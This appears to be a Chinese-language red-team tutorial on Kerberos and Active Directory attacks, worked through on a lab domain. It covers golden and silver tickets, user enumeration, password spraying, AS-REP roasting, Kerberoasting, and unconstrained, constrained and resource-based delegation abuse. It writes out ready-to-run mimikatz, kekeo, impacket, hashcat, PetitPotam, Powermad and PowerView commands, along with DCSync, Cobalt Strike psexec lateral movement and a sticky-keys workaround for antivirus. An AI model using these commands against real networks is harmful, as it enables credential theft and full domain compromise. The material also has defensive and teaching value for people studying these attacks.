TGT阶段

黄金票据

利用的是第二次:身份认证请求包,身份认证返回包中的ticket使用krbtgt的 NTLM hash加密,如果能获得krbtgt hash,就能自己制作TGT票据。即黄金票据

kerberos::golden /domain:[domain] /sid:[domain sid] /id:500 /user:AnyFuckUser /krbtgt:[krbtgt NTLM Hash]

TGT-1

用户名枚举

在请求TGT票据协商请求包中,因为服务器没有去验证请求用户的密码,所以可以修改CNameString去猜解域用户名

nmap的krb5-enum-users脚本使用该方式来枚举用户名。

TGT-2

python 脚本

pyker-1

密码爆破/密码喷洒

当请求TGT时用户对应的密码不正确,服务器会返回KDC_ERR_PREAUTH_FAILED错误。可以用这个值去暴力破解用户对应的密码。

(错误密码的数据返回包)

TGT-3

(正确密码返回的数据包)

TGT-4

python脚本实现,爆破和喷洒用的都是同一个函数,判断一下返回值就可以了

pyker-2

pyker-3

AS-Repoasting

TGT-6

域内用户可以配置 “不要求预身份认证”。

当这些用户向服务器发起协商请求包时,对于通过协商请求的响应包,可以获得响应包中的cipher字段(这部分是使用用户hash加密session-key),将其拼接成 Kerberos 5 AS-REP etype 23 使用hashcat破解出该用户的明文口令。

拼接方式为:$krb5asrep$23$[user]@[domain]:[cipher前32位]$[cipher后续值]

TGT-7

TGT-10

用hashcat破解

hashcat -m 18200 hash.txt /usr/share/wordlist/rockyou.txt

impacket里面对于设置该值的用户使用getTGT脚本是获取不到TGT票据的,会报SessionKeyDecryptionError错误。响应数据包中会直接返回TGT票据

TGT-8

GetNPUsers脚本就可以解析了

impacket-GetNPUsers yunwei.lab/user:123.com -dc-ip 20.0.0.100

TGT-9

python脚本实现,输入用户名/用户名字典,输出hashcat可直接跑的命令

pyker-4

Path The Hash / Path The Key

在使用账号密码登录时会把密码加密成hash,所以直接使用hash去认证也可以。如果hash为NTLM + RC4加密,则为Pass The Hash。Hash为AES Key则为Pass The Key

TGS阶段

Kerberoasting

在请求TGS票据的时候,只要请求的TGT票据是正确的,服务器就会返回请求服务对应的TGS票据,并不会去检查访问权限。

返回的TGS票据中ticket.enc_part是用要请求的服务NTLM Hash加密的,爆破这个值就能获得请求服务的NTLM Hash

hashcat 对应Hash类型13100

impacket-GetUserSPNs yunwei.lab/jm:123.com -save -outputfile 1.hash

hashcat -m 13100 -a 0 1.hash /usr/share/wordlists/rockyou.txt

TGS-1

python脚本的实现,这里的sname的spn对应的用户,在daiker的文章里面是spn对应的具体服务,两者都可以,只是这里我的脚本并没有支持

pyker-5

白银票据

这个ticket用于AP_REQ的认证。其中里面的enc_part是加密的,用户不可读取里面的内容。在AS_REQ请求里面是,是使用krbtgt的hash进行加密的,而在TGS_REQ里面是使用要请求的服务的hash加密的。因此如果我们拥有服务的hash就可以自己制作一个ticket,既白银票据。

TGS-2

非域约束委派

假设这样一个场景,如果域管理员账户委托一台域机器去访问域控的SMB服务,恰巧这台域机器设置了非约束委派机制,那么域管理员账户会将它的TGT缓存到这台域机器,以便后续使用。

环境配置

非域约束委派需要两台机器,Server 2012为域控,Win7为域内的普通机器。

主机名 登录账户
Windows Server 2012
Windows 7 WIN7 john
域控的配置

首先在Computers文件夹中将Windows 7对应的机器设置为信任此计算机来委派任何服务(非约束委派)

TGS-3

然后将Windows 7中登录的用户john设置spn

setspn -A anysrv/WIN7.test.lab john

之后在Users文件夹中选中将john的委派属性也设置为信任此用户作为任何服务的委派,如图

TGS-4

这个地方需要将设置域机器和其登录的域用户均设置为非约束委派,如果其中一个没设置,域管理员登录时都不会将票据保留在机器中

最后,添加一个计划任务模拟域控登录Windows 7执行命令,经过上面的配置,模拟域控登录Windows 7这台机器,保留票据。

也可以不创建计划任务,这只是一个可选项。不创建计划任务就需要利用Relay来获取域管票据,见下文。

schtasks /create /ru test.lab\administrator /sc minute /mo 1 /tn saving_ticket /tr "powershell.exe c:/aa.ps1"

C:/aa.ps1 的脚本内容如下:

$pcname="win7"
$sess = New-PSSession -ComputerName $pcname

Enter-PSSession -Session $sess

Invoke-Command -ComputerName $pcname -ScriptBlock { $service = "bits"
    $serviceinfo = get-service $service
    If($serviceinfo.Status -ne 'running'){
        try{
            Start-Service $service -ErrorAction Stop
        }
        catch{
            $error[0].exception.message
        }
    }
    else{
        write-output "Service is running"
    } }

Exit-PSSession
域机器的配置

Windows 7这台机器只需要开启WINRM服务就行,开启后会开放5985端口

winrm quickconfig

利用

假设Windows 7为我们在内网的立足点,我们使用ADFind这款工具查找具有非约束委派的用户。 samAccountType805306368查找的是具有非约束委派的用户,805306369查找的是具有非约束委派的机器

AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

结果显示,john这个用户具有非约束委派权限

TGS-5

继续查询哪些域机器具有非约束委派权限

TGS-6

正好就是我们拿到的立足点机器。所以我们以本地SYSTEM权限执行mimikatz获取所有内存票据。如图,拿到了域管理员留在本机上的ticket

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

TGS-7

获得ticket后使用mimikatz导入

mimikatz.exe "kerberos::ptt [0;aa]-2-0.kirbi"

之后就能dcsync了

mimikatz.exe "lsadump::dcsync /all"

或者Cobalt Strike 用psexec进行横向

jump psexec64 DC smb-local

如果有杀软拦截psexec,而域控又恰巧开启的3389端口,可以利用粘滞键替换拿到权限

其他

链接里面说可以用打印机的bug让域控访问域机器从而获取票据

其他文章,这里没复现出来,主要是域机器的本地管理员懒得弄了。

Relay + 非约束委派打法

Relay的相关原理在别的文章里面有说,利用PetitPotam.exe强制让域控访问非约束委派的机器,就会在该机器上留下域控的票据,之后的利用方式就和上面一样了。

PetitPotam.exe <域机器ip> <域控ip> 1

域约束委派

也就是TGS REQ部分,需要扩展S4U2PROXY

环境配置

域控

域约束委派的用户配置如下:

  • 设置用户的spn属性
setspn -A cifs/win81.test.lab jm
  • 配置委派,设置为仅信任此用户作为指定服务的委派使用任何身份验证协议、添加DC的服务

TGS-8

域约束委派攻击利用

AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

TGS-9

请求TGT

kekeo.exe "tgt::ask /user:john /domain:test.lab /password:123.com" "exit"

TGS-10

请求TGS

kekeo.exe "tgs::s4u /tgt:TGT_john@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi /user:Administrator@test.lab /service:cifs/DC.test.lab" "exit"

TGS-11

导入票据,要导入具有cifs权限的票据

mimikatz-bypass.exe "kerberos::ptt TGS_Administrator@test.lab@TEST.LAB_cifs~DC.test.lab@TEST.LAB.kribi" "exit"

TGS-12

之后就能访问域控dir \\dc.test.lab\c$。cifs服务只能访问服务器的文件,要想做DCSync需要服务器允许委派LDAP服务

其他

先知上一篇文章提到可以给委派的用户添加一条krbtgt的spn拿到黄金票据

基于资源的域约束委派

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。

也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。该属性在ADExplorer中显示如下(该属性默认是不存在的,为了方便理解我这里手动添加了一个,不影响后续实验):

TGS-13

一般为将机器加入域的用户账户能修改这个属性。

现在我们知道了谁可以修改这个属性,还需要一个条件就是需要一个具有SPN属性的用户来获取TGT票据。机器账户默认就有两条SPN属性

TGS-14

环境搭建

域控:20.0.0.100,添加普通用户john:123.com作为Win10账户,添加用户AddUser:123.com用户将Win10加入域

Win10:20.0.0.7,普通机器,用AddUser加入域之后,该机器地mS-DS-CreatorSID属性值会变成AddUserSID,表明windows 10这台机器是由AddUser这个用户添加进域的

寻找RBCD机器

我们先手动用ADExplorer查询一遍,了解原理之后就可以很方便地编写工具了。

查询计算机的mS-DS-CreatorSID确认是由SID1110添加进来的,而该SID对应的用户为AddUser。所以可以确定能够修改Win10这台机器msDS-AllowedToActOnBehalfOfOtherIdentity这个属性的用户为AddUser

TGS-15

TGS-16

提权

在windows 10 上,我们以AddUser用户打开一个powershell窗口进行操作

runas /user:test.lab\adduser powershell
# 修改powershell执行策略
Set-ExecutionPolicy Bypass -Scope Process

# 添加机器账号mach1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount mach1 -Password $(ConvertTo-SecureString "123.com" -AsPlainText -Force)

# 查询机器账号SID
Get-DomainComputer -Identity mach1 -Properties objectsid

# 设置WIN10 的资源约束委派属性为机器账号SID
Import-Module .\PowerView.ps1
$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-556516541-2133182263-1194801646-1112)';

$SDBytes= New-Object byte[] ($SD.BinaryLength);

$SD.GetBinaryForm($SDBytes,0);

Get-DomainComputer WIN10 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

TGS-17

上述步骤完成后,可以在域控上确认,WIN10机器的msDS-AllowedToActOnBehalfOfOtherIdentity确实变成了mach1的SID

TGS-18

TGS-19

之后,就可以用impacket获取mach1的TGT票据,然后psexecsmbexec都可以获得shell

impacket-getST -dc-ip 20.0.0.100 test.lab/mach1\$:123.com -spn cifs/win10.test.lab -impersonate administrator

TGS-20

export KRB5CCNAME=administrator.ccache;impacket-psexec -k -no-pass win10.test.lab
export KRB5CCNAME=administrator.ccache;impacket-smbexec -k -no-pass win10.test.lab

TGS-21

TGS-22

参考

微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

https://www.cnblogs.com/sup3rman/p/16114572.html